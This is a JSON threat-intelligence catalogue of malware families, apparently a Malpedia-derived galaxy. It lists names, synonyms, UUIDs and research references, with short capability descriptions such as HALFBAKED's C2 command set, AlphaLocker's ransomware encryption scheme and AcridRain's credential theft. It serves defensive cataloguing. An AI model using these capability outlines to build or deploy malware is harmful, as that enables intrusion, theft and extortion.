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          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd",
          "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html",
          "https://objective-see.com/blog/blog_0x16.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "120a5890-dc3e-42e8-950e-b5ff9a849d2a",
      "value": "XSLCmd"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort",
          "https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "725cd3eb-1025-4da3-bcb1-a7b6591c632b",
      "value": "Yort"
    },
    {
      "description": "Antak is a webshell written in ASP.Net which utilizes PowerShell.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/php.antak",
          "https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx",
          "http://www.labofapenetrationtester.com/2014/06/introducing-antak.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "88a71ca8-d99f-416a-ad29-5af12212008c",
      "value": "ANTAK"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/php.pas",
          "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity",
          "https://blog.erratasec.com/2016/12/some-notes-on-iocs.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e6a40fa2-f79f-40e9-89d3-a56984bc51f7",
      "value": "PAS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/php.wso",
          "https://github.com/wso-shell",
          "https://securelist.com/energetic-bear-crouching-yeti/85345/"
        ],
        "synonyms": [
          "Webshell by Orb"
        ],
        "type": []
      },
      "uuid": "7f3794fc-662e-4dde-b793-49bcaccc96f7",
      "value": "WSO"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos",
          "https://www.group-ib.com/resources/threat-research/silence.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b5cc7a39-305b-487e-b15a-02dcebefce90",
      "value": "Silence DDoS"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater",
          "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2",
          "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/",
          "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
          "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"
        ],
        "synonyms": [
          "Glimpse"
        ],
        "type": []
      },
      "uuid": "99600ba5-30a0-4ac8-8583-6288760b77c3",
      "value": "BONDUPDATER"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer",
          "https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0db05333-2214-49c3-b469-927788932aaa",
      "value": "GhostMiner"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig",
          "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html",
          "https://twitter.com/MJDutch/status/1074820959784321026?s=19"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4a3b9669-8f91-47df-a8bf-a9876ab8edf3",
      "value": "OilRig"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy",
          "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
          "https://github.com/matthewdunwoody/POSHSPY"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4df1b257-c242-46b0-b120-591430066b6f",
      "value": "POSHSPY"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe",
          "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "60d7f668-66b6-401b-976f-918470a23c3d",
      "value": "POWERPIPE"
    },
    {
      "description": "POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource",
          "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a4584181-f739-43d1-ade9-8a7aa21278a0",
      "value": "POWERSOURCE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz",
          "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c07f6484-0669-44b7-90e6-f642e316d277",
      "value": "PowerSpritz"
    },
    {
      "description": "POWERSTATS is a backdoor written in powershell.\r\nIt has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats",
          "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/",
          "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
          "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
          "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/",
          "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/",
          "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/"
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        "synonyms": [
          "Valyria"
        ],
        "type": []
      },
      "uuid": "b81d91b5-23a4-4f86-aea9-3f212169fce9",
      "value": "POWERSTATS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware",
          "https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5c5beab9-614c-4c86-b369-086234ddb43c",
      "value": "PowerWare"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner",
          "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "63f6df51-4de3-495a-864f-0a7e30c3b419",
      "value": "POWRUNER"
    },
    {
      "description": "The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox",
          "https://twitter.com/kafeine/status/1092000556598677504"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c8c5ca3c-7cf0-453e-9fe9-d5637b1ab1f8",
      "value": "PresFox"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent",
          "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca",
          "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e27bfd65-4a58-416a-b03a-1ab1703edb24",
      "value": "QUADAGENT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin",
          "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca",
          "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
        ],
        "synonyms": [],
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      },
      "uuid": "1e27a569-1899-4f6f-8c42-aa91bf0a539d",
      "value": "RogueRobin"
    },
    {
      "description": "sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload",
          "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9",
          "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/",
          "https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/",
          "https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan",
          "https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy",
          "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e78c0259-9299-4e55-b934-17c6a3ac4bc2",
      "value": "sLoad"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater",
          "https://github.com/Kevin-Robertson/Tater"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "808445e6-f51c-4b5d-a812-78102bf60d24",
      "value": "Tater PrivEsc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell",
          "https://github.com/Mr-Un1k0d3r/ThunderShell"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fd9904a6-6e06-4b50-8bfd-64ffb793d4a4",
      "value": "ThunderShell"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant",
          "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d1150a1a-a2f4-4954-b22a-a85b7876408e",
      "value": "WMImplant"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot",
          "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/",
          "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/",
          "https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/",
          "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/",
          "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f",
          "https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A",
          "http://seclists.org/fulldisclosure/2017/Mar/7"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f0ff8751-c182-4e9c-a275-81bb03e0cdf5",
      "value": "BrickerBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy",
          "https://github.com/n1nj4sec/pupy"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "afcc9bfc-1227-4bb0-a88a-5accdbfd58fa",
      "value": "pupy (Python)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra",
          "https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/",
          "https://www.youtube.com/watch?v=Bk-utzAlYFI"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "30a22cdb-9393-460b-86ae-08d97c626155",
      "value": "Saphyra"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy",
          "https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9f85f4fc-1cce-4557-b3d8-b9ef522fafb2",
      "value": "FlexiSpy (symbian)"
    },
    {
      "description": "The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information.\r\nHALFBAKED listens for the following commands from the C2 server:\r\n\r\n info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI \r\n         queries\r\n processList: Send list of process running\r\n screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)\r\n runvbs: Executes a VB script\r\n runexe: Executes EXE file\r\n runps1: Executes PowerShell script\r\n delete: Delete the specified file\r\n update: Update the specified file",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked",
          "https://attack.mitre.org/software/S0151/",
          "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "095c995c-c916-488e-944d-a3f4b9842926",
      "value": "HALFBAKED"
    },
    {
      "description": "The NJCCIC describes 7ev3n as a ransomware \"that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n.\"",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n",
          "https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/",
          "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ac2608e9-7851-409f-b842-e265b877a53c",
      "value": "7ev3n"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002",
          "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html",
          "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf",
          "https://community.hpe.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/6894315",
          "http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/",
          "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html",
          "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/",
          "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures",
          "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/"
        ],
        "synonyms": [
          "Hydraq",
          "McRAT"
        ],
        "type": []
      },
      "uuid": "bab647d7-c9d6-4697-8fd2-1295c7429e1f",
      "value": "9002 RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos",
          "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak",
          "https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/",
          "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software"
        ],
        "synonyms": [
          "PinkKite"
        ],
        "type": []
      },
      "uuid": "a492a3e0-13cb-4b7d-93c1-027e7e69b44d",
      "value": "AbaddonPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes",
          "https://github.com/ElektroKill/AbantesTrojan"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "27b54000-26b5-405f-9296-9fbc9217a8c9",
      "value": "abantes"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e46262cd-961f-4c7d-8976-0d35a066ab83",
      "value": "Abbath Banker"
    },
    {
      "description": "AcridRain is a password stealer written in C/C++.  This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain",
          "https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ffc368a5-2cd0-44ca-869b-223fdb462c41",
      "value": "AcridRain"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym",
          "https://www.arbornetworks.com/blog/asert/acronym-m-is-for-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bee73d0f-8ff3-44ba-91dc-d883884c754e",
      "value": "Acronym"
    },
    {
      "description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016",
          "https://twitter.com/JaromirHorejsi/status/813712587997249536"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1ed36f9a-ae00-4d16-bbf7-e97217385fb1",
      "value": "AdamLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob",
          "https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ace3cb99-3523-44a1-92cc-9f002cf364bf",
      "value": "AdKoob"
    },
    {
      "description": "AdvisorsBot is a downloader named after early command and control domains that all contained the word \"advisors\". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot",
          "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e3f49ec0-614e-4070-a620-5196d45df7b5",
      "value": "AdvisorsBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz",
          "https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3d6c3ed5-804d-4d0b-8a01-68bc54ae8c58",
      "value": "Adylkuzz"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz",
          "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/",
          "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/",
          "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf",
          "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html",
          "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified",
          "http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/",
          "https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat"
        ],
        "synonyms": [
          "ComRAT",
          "Sun rootkit"
        ],
        "type": []
      },
      "uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8",
      "value": "Agent.BTZ"
    },
    {
      "description": "A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla",
          "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/",
          "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/",
          "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting",
          "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr",
          "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
          "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/",
          "https://blogs.forcepoint.com/security-labs/part-two-camouflage-netting"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b88e29cf-79d9-42bc-b369-0383b5e04380",
      "value": "Agent Tesla"
    },
    {
      "description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot",
          "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "43ec8adc-0658-4765-be20-f22679097fab",
      "value": "Aldibot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/",
          "https://www.s21sec.com/en/blog/2017/01/alice-simplicity-for-atm-jackpotting/",
          "https://www.symantec.com/security-center/writeup/2016-122104-0203-99"
        ],
        "synonyms": [
          "AliceATM",
          "PrAlice"
        ],
        "type": []
      },
      "uuid": "41bfc8ad-ce2c-4ede-aa54-b3240a5cc8ca",
      "value": "Project Alice"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos",
          "http://www.xylibox.com/2013/02/alina-34-pos-malware.html",
          "https://www.nuix.com/blog/alina-continues-spread-its-wings",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/"
        ],
        "synonyms": [
          "alina_eagle",
          "alina_spark",
          "katrina"
        ],
        "type": []
      },
      "uuid": "27d90cd6-095a-4c28-a6f2-d1b47eae4f70",
      "value": "Alina POS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple",
          "https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf",
          "https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/"
        ],
        "synonyms": [
          "Starman"
        ],
        "type": []
      },
      "uuid": "6aabb492-e282-40fb-a840-fe4e643ec094",
      "value": "Allaple"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator",
          "https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/",
          "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a0881a0c-e677-495b-b475-290af09bb716",
      "value": "Alma Communicator"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b5138914-6c2b-4c8e-b182-d94973fe5a6b",
      "value": "AlmaLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe",
          "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "86517f1a-6e67-47ba-95dd-84b3125ad983",
      "value": "ALPC Local PrivEsc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware",
          "https://twitter.com/JaromirHorejsi/status/813714602466877440"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5060756f-8385-465d-a7dd-7bf09a54da92",
      "value": "Alphabet Ransomware"
    },
    {
      "description": "A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.\r\n\r\nAlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.\r\n\r\nAlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.\r\n\r\nTo decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker",
          "https://blog.cylance.com/an-introduction-to-alphalocker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c1b9e8c5-9283-4dbe-af10-45956a446fb7",
      "value": "AlphaLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc",
          "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6e94186c-987e-43da-be2d-9b44f254c8b9",
      "value": "AlphaNC"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay",
          "https://securelist.com/blog/sas/77908/lazarus-under-the-hood/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d258de39-e351-47e3-b619-731c87f13d9c",
      "value": "Alreay"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon",
          "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html",
          "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html",
          "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html"
        ],
        "synonyms": [
          "Olmarik",
          "Pihar",
          "TDL",
          "TDSS"
        ],
        "type": []
      },
      "uuid": "ad4e6779-59a6-4ad6-98de-6bd871ddb271",
      "value": "Alureon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey",
          "https://twitter.com/0xffff0800/status/1062948406266642432",
          "https://twitter.com/ViriBack/status/1062405363457118210",
          "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "77f2c81f-be07-475a-8d77-f59b4847f696",
      "value": "Amadey"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol",
